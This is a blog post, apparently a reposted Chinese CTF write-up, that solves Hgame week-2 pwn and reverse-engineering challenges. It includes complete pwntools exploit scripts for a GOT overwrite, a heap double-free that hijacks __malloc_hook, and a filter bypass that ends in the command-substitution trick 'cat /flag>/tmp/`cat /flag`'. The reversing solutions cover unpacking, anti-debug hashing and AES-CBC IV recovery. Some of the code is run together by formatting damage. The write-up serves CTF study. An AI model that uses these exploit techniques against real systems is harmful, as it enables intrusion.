百度360必应搜狗淘宝本站头条
当前位置:网站首页 > 技术教程 > 正文

记一次春节CTF实战练习(RE/PWN) ctf比赛技巧

suiw9 2024-11-11 15:52 31 浏览 0 评论

原创 Nepents 合天智汇

这是Hgame_CTF第二周的题目,一共有四周。相对来说,比第一周难(HgameCTF(week1)-RE,PWN题解析)。这次的有一道逆向考点也挺有意思,得深入了解AES的CBC加密模式才能解题。还有一道pwn虽然能getshell,但是程序关闭了回显,并不能获取flag。队友提供了一种比较骚的思路才解开。

##pwn


###Another_Heaven

该题目存在一个后门

  *(_DWORD *)v5 = readi();  // 可以写入一个地址 
read(0, (void *)*(signed int *)v5, 1uLL);

这两行代码意思是 可以自己输入一个地址,然后可以改变该地址里边的一个数值。另外没有发现其他的漏洞。

再看cspw函数

__int64 cpswd()
{
  int i; // [rsp+Ch] [rbp-14h]
  puts("Input new password:");
  read_n((__int64)buf, 48);
  printf("Processing.", 48LL)
  ;  for ( i = 0; i < strlen(buf); ++i )  {if ( !strncpy((char *)(i + 0x602160LL), &buf[i], 1uLL) )// 覆盖到flag{  puts("System Error!");  exit(0);}putchar('.');usleep(10000u);  }  puts("Done!");  return 0LL;}

可以覆盖flag,那么strncpy第一个参数就是读取的flag,其实strncpy和puts函数地址只相差了一位,那么可以通过改变这一位来使得strncpy变成puts函数输出flag。

#!/usr/bin/python
#coding:utf-8
from pwn import *
from time import *
from LibcSearcher import *
  
context.log_level="debug"

REMOTE_LIBC = "./db/libc6_2.24-9ubuntu2.2_amd64.so"
io = remote('172.17.0.2',10001)
#elf = ELF(EXEC_FILE)
#libc = ELF(REMOTE_LIBC)

io.recv()
raw_input()
io.sendline(str(0x0602020))#修改strncpy
io.send('\xE6')

io.recvuntil(':')
io.sendline("E99p1ant")

io.recvuntil(":")
io.sendline('a')

io.recvuntil('(y/n)')
io.sendline('y')

io.recvuntil('?')
io.sendline('Alice·Synthesis·Thirty')

io.recvuntil(":")
io.sendline('a')

print io.recv()
io.interactive()

###Roc826s_Note

题目没有edit函数,但是delete函数存在uaf漏洞,给了libc,可以先释放unsorted bin求出libc基地址,然后通过double free来修改malloc hook跳转到one_gadget。

#!/usr/bin/python
#coding:utf-8
from pwn import *
from time import *
from LibcSearcher import *
  
context.log_level="debug"

#EXEC_FILE = "./ROP_LEV"
REMOTE_LIBC = "./libc-2.23.so"

#main_offset = 3951392
io = remote('47.103.214.163',21002)
#io = process('./Roc826')
#elf = ELF(EXEC_FILE)
libc = ELF(REMOTE_LIBC)
def add(size,content):
    io.sendlineafter(':','1')
    io.sendlineafter('?',str(size))
    io.sendlineafter(':',content)
def show(idx):
    io.sendlineafter(':','3')
    io.sendlineafter('?',str(idx))

def delete(idx): 
    io.sendlineafter(':','2') 
   io.sendlineafter('?',str(idx))
add(0x89,'a')#0
add(0x10,'b')#1

delete(0)

show(0)
io.recvuntil('content:')
unsorted_bin = u64(io.recvn(6).ljust(8,'\x00')) - 88
print hex(unsorted_bin)
libc_addr = unsorted_bin - 3951392

print hex(libc_addr)

__malloc_hook = libc_addr + libc.sym['__malloc_hook']

add(0x68,'c')#2
add(0x68,'d')#3
add(0x68,'e')#4

delete(2)
delete(3)
delete(2)

add(0x68,p64(__malloc_hook-35)*2)#5
add(0x68,'f')#6

add(0x68,'g')
add(0x68,19*'\x00'+p64(libc_addr+0xf1147))

io.sendlineafter(':','1')
io.sendlineafter('?',str(0x68))
io.interactive()

###findyourself

题目考察过滤,有两个check函数,如果通过check函数就会执行system

signed __int64 __fastcall check1(const char *a1)
{
  signed __int64 result; // rax
  int i; // [rsp+1Ch] [rbp-14h]
  
  for ( i = 0; i < strlen(a1); ++i )
   {
 if ( (a1[i] <= 96 || a1[i] > 122) && (a1[i] <= 64 || a1[i] > 90) && a1[i] != 47 && a1[i] != 32 && a1[i] != 45 )
    return 0xFFFFFFFFLL;
   }
    if ( strstr(a1, "sh") || strstr(a1, "cat") || strstr(a1, "flag") || strstr(a1, "pwd") || strstr(a1, "export") )
 result = 0xFFFFFFFFLL;
  else
  result = 0LL;
    return result;
}

signed __int64 __fastcall check2(const char *a1)
{
  signed __int64 result; // rax
  
  if ( strchr(a1, 42)
|| strstr(a1, "sh"|| strstr(a1, "cat")|| strstr(a1, "..")|| strchr(a1, 38)|| strchr(a1, 124)|| strchr(a1, 62)|| strchr(a1, 60) )  {result = 0xFFFFFFFFLL;  }  else  {result = 0LL;  }  return result;}

原本是绕过了第一个check,想通过第二个check得到终端。exp如下

#!/usr/bin/python
#coding:utf-8
from pwn import *
from time import *
from LibcSearcher import *

context.log_level="debug"

#EXEC_FILE = "./ROP_LEV"
REMOTE_LIBC = "./db/libc6_2.24-9ubuntu2.2_amd64.so"
io = remote('47.103.214.163',21000)
#elf = ELF(EXEC_FILE)
#libc = ELF(REMOTE_LIBC)

io.recvuntil('yourself')
io.sendline('ls -l /proc/self/cwd')

sleep(0.1)

io.recvuntil('-> ')
chdir = io.recvn(15)
io.recv()io.sendline(chdir)
sleep(0.1)
raw_input()
io.sendline('ltotal 4004')

io.interactive()

但是该题目在执行第二个system之前close(1),所以没有回显。后来队内的师傅想到了把 flag 里面的内容当成新建文件的名字然后就能"ls -l"读出来。getshell之后虽然没有回显,但是输入命令可以执行。先执行

cat /flag>/tmp/`cat /flag`

使用flag当作文件名创建一个文件。然后ls -l /tmp输出flag

##RE


###unpack

题目加有类似upx的壳,或许用esp定律可以脱,但是是elf程序,最后凭经验追到OEP。

追到下边代码的时候就能感觉到已经进入OEP了

LOAD:0000000000400890 loc_400890:
LOAD:0000000000400890 xor ebp, ebp
LOAD:0000000000400892 mov r9, rdx
LOAD:0000000000400895 pop rsi
LOAD:0000000000400896 mov rdx, rsp
LOAD:0000000000400899 and rsp, 0FFFFFFFFFFFFFFF0h
LOAD:000000000040089D push rax
LOAD:000000000040089E push rsp
LOAD:000000000040089F mov r8, 4017A0h
LOAD:00000000004008A6 mov rcx, 401710h
LOAD:00000000004008AD mov rdi, offset sub_4009AE
LOAD:00000000004008B4 call loc_401250
LOAD:00000000004008B9 hlt

很容易就能看到flag处理函数

__int64 sub_4009AE()
{
  __int64 result; // rax
  signed int v1; // [rsp+8h] [rbp-48h]
  signed int i; // [rsp+Ch] [rbp-44h]
  char v3[56]; // [rsp+10h] [rbp-40h]
  unsigned __int64 v4; // [rsp+48h] [rbp-8h]
  
  v4 = __readfsqword(0x28u);
  sub_40F570((__int64)&unk_4A13A8, v3);
  v1 = 0;
  for ( i = 0; i <= 41; ++i )
  {
if ( i + v3[i] != (unsigned __int8)unk_6CA0A0[i] )
v1 = 1;
  }
  if ( v1 == 1 )
sub_40FE40(&unk_4A13AD, v3);
  else
sub_40FE40(&unk_4A13C0, v3);
  result = 0LL;
  if ( __readfsqword(0x28u) != v4 )
    sub_443040();
  return result;
}

exp

q = "6868637069805B7578496D76757B756E4184716544824A858C827D7A824D907E92549888969857958FA6"

flag = []

for i in range(0,len(q),2):

    flag.append(int(q[i:i+2],16))
flags = ""

for i in range(len(flag)):
  flags+=chr(flag[i]-i)
print flags


###bbbbbb

该题目挺有意思的,首先输入flag。

  do
  {
LOBYTE(v64) = '_';
v66 = sub_7FF6A2974B70(&v96, v64, 0i64);
sub_7FF6A2974D90(&v96, &v97, 0i64, v66);
sub_7FF6A2974AE0(&v96, 0i64, v66 + 1);
v67 = (const char *)sub_7FF6A2974A10(&v97);
*((_DWORD *)&v90 + v65) = atoi(v67);
sub_7FF6A2974150(&v97);
 ++v65;
  } 
   while ( v65 < 4 );

上边代码的意思是按下划线切割flag,分割成四个数字。也就是说,输入flag格式为aaa bbb ccc ddd

然后经过

v68 = GetCurrentProcess();
   v69 = GetModuleHandleW(0i64);
   *(_OWORD *)modinfo = 0ui64;
   *(_QWORD *)&modinfo[16] = 0i64;
   K32GetModuleInformation(v68, v69, (LPMODULEINFO)modinfo, 0x18u);
   v92 = 0ui64;  // 并没有覆盖到
   v93 = 0ui64;
   v94 = 0;
   sub_7FF6A2971010(&sha_init);
   v70 = (char *)(*(_QWORD *)modinfo + 0x1000i64);
   if ( *(_QWORD *)modinfo + 0x1000i64 < (unsigned __int64)(*(_QWORD *)modinfo + 20480i64) )
   {
d{  sub_7FF6A2971090((__int64)&sha_init, v70, 0x1000ui64);  memset(&Dst, 0, 1232ui64);  v102 = 0x100010;  v71 = GetCurrentThread();  GetThreadContext(v71, (LPCONTEXT)&Dst);  sub_7FF6A2971090((__int64)&sha_init, &v103, 0x20ui64);  v70 += 0x1000;}while ( (unsigned __int64)v70 < *(_QWORD *)modinfo + 0x5000i64 );  }  sub_7FF6A29711C0(&v92, &sha_init);  v72 = _mm_xor_si128(_mm_loadu_si128((const __m128i *)&v92), _mm_loadu_si128((const __m128i *)&v93));  _mm_storeu_si128((__m128i *)&v92, v72);

先看sub_7FF6A2971010函数,里边初始化赋值,明显是sha类的哈希函数。

signed __int64 __fastcall sub_7FF6A2971010(__int64 a1)
{
  signed __int64 result; // rax
  
*(_QWORD *)(a1 + 32) = 0i64;
*(_QWORD *)(a1 + 40) = 0i64  *(_QWORD *)(a1 + 48) = 0i64;  *(_QWORD *)(a1 + 56) = 0i64;  *(_QWORD *)(a1 + 64) = 0i64;  *(_QWORD *)(a1 + 72) = 0i64;  *(_QWORD *)(a1 + 80) = 0i64;  *(_QWORD *)(a1 + 88) = 0i64;  *(_QWORD *)(a1 + 96) = 0i64;  *(_DWORD *)(a1 + 104) = 0;  result = 1i64;  *(_DWORD *)a1 = 1779033703;  *(_DWORD *)(a1 + 4) = -1150833019;  *(_DWORD *)(a1 + 8) = 1013904242;  *(_DWORD *)(a1 + 12) = -1521486534;  *(_DWORD *)(a1 + 16) = 1359893119;  *(_DWORD *)(a1 + 20) = -1694144372;  *(_DWORD *)(a1 + 24) = 528734635;  *(_DWORD *)(a1 + 28) = 1541459225;  *(_DWORD *)(a1 + 108) = 32;  return result;}

然后通过K32GetModuleInformation函数获取到模块信息进行加密,也就是获取地址为0x7FF6A2971000-0x7FF6A2975000之间的数据进行加密,每次获取0x1000个字节,这里边刚好包含了主要函数。这个主要用于反调试,防止别人修改代码和下普通断点,其实尝试着在这之间下不同断点会发现每次得到的哈希值都不一样。然后通过GetThreadContext函数获取线程上下文,得到的数据进行加密,印象中这个函数可以用于防止下硬件断点。在这种情况下,我们可以在exit函数下断点,因为exit函数位于加密地址之外,不会影响正确的哈希值,主要捕捉到里边生成的正确的哈希值就行。

然后通过CE来扫描数据,调试发现,正确的哈希值位于我们输入的flag下一行。比如我们输入

123_456_789_111

那我们可以搜索 7B 00 00 00 C8 01 00 00 15 03 00 00 6F 00 00 00 通过CE搜索可以得到哈希值

那么可以得到0x932877ad 0x4da107ea 0xc767e46b 0x5a857214,还要注意程序使用atoi转换的数字,0x932877ad和0xc767e46b输入之后会变成负数,这个得注意一下。最后输入

1302398954_-1826064467_1518694932_-949492629

得到flag:

hgame{1302398954_2468902829_1518694932_3345474667}


###babyPy

题目直接给出pyc的opcode

In [1]: from secret import flag, encrypt

In [2]: encrypt(flag)
Out[2]: '7d037d045717722d62114e6a5b044f2c184c3f44214c2d4a22'

In [3]: import dis

In [4]: dis.dis(encrypt)
   4   0 LOAD_FAST0 (OOo)
   2 LOAD_CONST   0 (None)
   4 LOAD_CONST   0 (None)
   6 LOAD_CONST   1 (-1)
   8 BUILD_SLICE  3
  10 BINARY_SUBSCR
  12 STORE_FAST   1 (O0O)

  5  14 LOAD_GLOBAL  0 (list)
 16 LOAD_FAST1 (O0O)
 18 CALL_FUNCTION1
 20 STORE_FAST   2 (O0o)

   6  22 SETUP_LOOP  50 (to 74)
  24 LOAD_GLOBAL  1 (range)
  26 LOAD_CONST   2 (1)
  28 LOAD_GLOBAL  2 (len)
  30 LOAD_FAST2 (O0o)
  32 CALL_FUNCTION1
  34 CALL_FUNCTION2
  36 GET_ITER
>>   38 FOR_ITER32 (to 72)
  40 STORE_FAST   3 (O0)

 7  42 LOAD_FAST2 (O0o)
 44 LOAD_FAST3 (O0)
 46 LOAD_CONST   2 (1)
 48 BINARY_SUBTRAC
 T 50 BINARY_SUBSCR 52 LOAD_FAST2 (O0o) 54 LOAD_FAST3 (O0) 56 BINARY_SUBSCR 58 BINARY_XOR 60 STORE_FAST   4 (Oo)  8  62 LOAD_FAST4 (Oo) 64 LOAD_FAST2 (O0o) 66 LOAD_FAST3 (O0) 68 STORE_SUBSCR 70 JUMP_ABSOLUTE   38>>   72 POP_BLOCK  9 >>   74 LOAD_GLOBAL  3 (bytes) 76 LOAD_FAST2 (O0o) 78 CALL_FUNCTION1 80 STORE_FAST   5 (O) 10  82 LOAD_FAST5 (O) 84 LOAD_METHOD  4 (hex) 86 CALL_METHOD  0 88 RETURN_VALUEIn [5]: exit()

需要注意

BINARY_SUBTRACT 为相减,BINARY_SUBSCR 取值

可以还原

flag = "sfesefsfhthfyhjjus"
O0o = list(flag)
out_flag = ""
for i in range(1,len(O0o)):
	O0 = i
	Oo = ord(O0o[O0-1])^ord(O0o[O0])
	O0o [O0] = Oo

写出exp

q = "7d037d045717722d62114e6a5b044f2c184c3f44214c2d4a22"
flag = []
for i in range(0,len(q),2):
flag.append(int(q[i:i+2],16))
print flag
flags = ""

flag = flag[::-1]
for i in range(len(flag)-1):
flag[i] = flag[i+1]^flag[i]
flags += chr(flag[i])
flags += chr(0x7d)
print flags

###classic_CrackMe

.net程序

string text = this.textBox1.Text;
         if (text.Length != 46 || text.IndexOf("hgame{") != 0 || text.IndexOf("}") != 45)
         { 
           MessageBox.Show("Illegal format");
           return;
         }
          string base64iv = text.Substring(6, 24);
         string str = text.Substring(30, 15);
        try
        {
          Aes aes3 = new Aes("SGc0bTNfMm8yMF9XZWVLMg==", base64iv);
          Aes aes2 = new Aes("SGc0bTNfMm8yMF9XZWVLMg==", "MFB1T2g5SWxYMDU0SWN0cw==");
          string text2 = aes3.DecryptFromBase64String("mjdRqH4d1O8nbUYJk+wVu3AeE7ZtE9rtT/8BA8J897I==");
          if (text2.Equals("Same_ciphertext_"))
          {
            byte[] array = new byte[16];
            Array.Copy(aes2.EncryptToByte(text2 + str), 16, array, 0, 16);
            if (Convert.ToBase64String(array).Equals("dJntSWSPWbWocAq4yjBP5Q=="))
            {
              MessageBox.Show("注册成功!");
              this.Text = "已激活,欢迎使用!";
              this.status = 1;
            }
            else
            {
              MessageBox.Show("注册失败!\nhint: " + aes2.DecryptFromBase64String("mjdRqH4d1O8nbUYJk+wVu3AeE7ZtE9rtT/8BA8J897I="));
            }
          }
          else
          {
            MessageBox.Show("注册失败!\nhint: " + aes2.DecryptFromBase64String("mjdRqH4d1O8nbUYJk+wVu3AeE7ZtE9rtT/8BA8J897I="));
          }
        }
       catch
       {
         MessageBox.Show("注册失败!");
       }
}

输入的flag分成两部分,前部分当成iv。用已知的iv('MFB1T2g5SWxYMDU0SWN0cw==')去解密的话会得到Learn principles,不符合要求,显然这是要学习原理,求出iv。

明文,密文,密钥,我们都知道,不同的iv得到的不同明文我们也知道。通过原理可知 IV 和 DecChiperText 和 plainText 是 xor 关系。

解密时:用 key 去解密 chiperText 再和 IV 异或就能得到 plainText

plainText = ( Decrypt(chiperText, key) ) ^ IV

上面的公式 分成两步:

1.DecChiperText = Decrypt(chiperText, key) //使用 key 去解密 chiperText

2.plainText = tmp ^ IV //这样的话, 就算 iv 是错的 也不会影响到 Decrypt(chiperText, key)

已知:

key = "Hg4m3_2o20_WeeK2"
plainText = "Same_ciphertext_"
chiperText = "\x9a7Q\xa8~\x1d\xd4\xef'mF\t\x93\xec\x15\xbbp\x1e\x13\xb6m\x13\xda\xedO\xff\x01\x03\xc2|\xf7\xb2"

再构造一个 假 IV 去解密,变成:

fakeIV = "aaaaaaaaaaaaaaaa"
key = "Hg4m3_2o20_WeeK2"
plainText = "Same_ciphertext_"
chiperText = "\x9a7Q\xa8~\x1d\xd4\xef'mF\t\x93\xec\x15\xbbp\x1e\x13\xb6m\x13\xda\xedO\xff\x01\x03\xc2|\xf7\xb2"

fakePlainText = ( Decrypt(chiperText, key) ) ^ fakeIV
plainText = fakePlainText ^ fakeIV

因为得到的结果 fakePlainText 是异或过 fakeIV 的,我们只要 再次异或 fakeIV 就能得到公式上面第一步得到的结果 DecChiperText。DecChiperText 和 IV 和 plainText 是 xor 关系现在已知 DecChiperText 和 plainText 就能求出 真正的 IV

IV = DecChiperText ^  plainText

可以写python代码

from Crypto.Cipher import AES
import base64

key = base64.b64decode("SGc0bTNfMm8yMF9XZWVLMg==")
fakeIV = "aaaaaaaaaaaaaaaa"
plainText = "Same_ciphertext_"
chiperText = base64.b64decode("mjdRqH4d1O8nbUYJk+wVu3AeE7ZtE9rtT/8BA8J897I=")
mode = AES.MODE_CBC
aesCipher = AES.new(key, mode, fakeIV)

fakePlainText = aesCipher.decrypt(chiperText)

#print fakePlainText

IV = ''
for i in range(16):
  IV += chr(ord(fakePlainText[i]) ^ ord(fakeIV[i]) ^ ord(plainText[i]))
print "IV : " + IV

#IV : /TyXYzPnY;$)\we_

求得IV为/TyXYzPnY;$)\we_ 经过base64加密后为L1R5WFl6UG5ZOyQpXHdlXw==

然后使用text2和后半部分flag拼接加密,加密后的密文最后24位必须为"dJntSWSPWbWocAq4yjBP5Q=="。text2位16位,刚好填充满,通过原理可知,密文前面16位不变。那么可以先让text2单独加密,得到密文的16进制,然后同"dJntSWSPWbWocAq4yjBP5Q=="的16进制形式拼接在一起,经过base64加密,得到密文"xlKKQA5RPpyyA1YBjDeL5HSZ7Ulkj1m1qHAKuMowT+U"。直接解密得到后半flag。

(完)

如果想更多系统的学习CTF,可点击“http://www.hetianlab.com/pages/CTFLaboratory.jsp”,进入CTF实验室学习,里面涵盖了6个题目类型系统的学习路径和实操环境。

声明:笔者初衷用于分享与普及网络知识,若读者因此作出任何危害网络安全行为后果自负,与合天智汇及原作者无关!

相关推荐

看完这一篇数据仓库干货,终于搞懂什么是hive了

一、Hive定义Hive最早来源于FaceBook,因为FaceBook网站每天产生海量的结构化日志数据,为了对这些数据进行管理,并且因为机器学习的需求,产生了Hive这们技术,并继续发展成为一个成...

真正让你明白Hive参数调优系列1:控制map个数与性能调优参数

本系列几章系统地介绍了开发中Hive常见的用户配置属性(有时称为参数,变量或选项),并说明了哪些版本引入了哪些属性,常见有哪些属性的使用,哪些属性可以进行Hive调优,以及如何使用的问题。以及日常Hi...

HIVE SQL基础语法(hive sql是什么)

引言与关系型数据库的SQL略有不同,但支持了绝大多数的语句如DDL、DML以及常见的聚合函数、连接查询、条件查询。HIVE不适合用于联机事务处理,也不提供实时查询功能。它最适合应用在基于大量不可变数据...

[干货]Hive与Spark sql整合并测试效率

在目前的大数据架构中hive是用来做离线数据分析的,而在Spark1.4版本中spark加入了sparksql,我们知道spark的优势是速度快,那么到底sparksql会比hive...

Hive 常用的函数(hive 数学函数)

一、Hive函数概述及分类标准概述Hive内建了不少函数,用于满足用户不同使用需求,提高SQL编写效率:...

数仓/数开面试题真题总结(二)(数仓面试时应该讲些什么)

二.Hive...

Tomcat处理HTTP请求流程解析(tomcat 处理请求过程)

1、一个简单的HTTP服务器在Web应用中,浏览器请求一个URL,服务器就把生成的HTML网页发送给浏览器,而浏览器和服务器之间的传输协议是HTTP,那么接下来我们看下如何用Java来实现一个简单...

Python 高级编程之网络编程 Socket(六)

一、概述Python网络编程是指使用Python语言编写的网络应用程序。这种编程涉及到网络通信、套接字编程、协议解析等多种方面的知识。...

[904]ScalersTalk成长会Python小组第20周学习笔记

Scalers点评:在2015年,ScalersTalk成长会Python小组完成了《Python核心编程》第1轮的学习。到2016年,我们开始第二轮的学习,并且将重点放在章节的习题上。Python小...

「web开发」几款http请求测试工具

curl命令CURL(CommandLineUniformResourceLocator),是一个利用URL语法,在命令行终端下使用的网络请求工具,支持HTTP、HTTPS、FTP等协议...

x-cmd pkg | hurl - 强力的 HTTP 请求测试工具,让 API 测试更加简洁高效

简介...

Mac 基于HTTP方式访问下载共享文件,配置共享服务器

方法一:使用Python的SimpleHTTPServer进行局域网文件共享Mac自带Python,所以不需要安装其他软件,一条命令即可...

Python 基础教程十五之 Python 使用requests库发送http请求

前言...

使用curl进行http高并发访问(php curl 大量并发获得结果)

本文主要介绍curl异步接口的使用方式,以及获取高性能的一些思路和实践。同时假设读者已经熟悉并且使用过同步接口。1.curl接口基本介绍curl一共有三种接口:EasyInterface...

Django 中的 HttpResponse理解和用法-基础篇1

思路是方向,代码是时间,知识需积累,经验需摸索。希望对大家有用,有错误还望指出。...

取消回复欢迎 发表评论: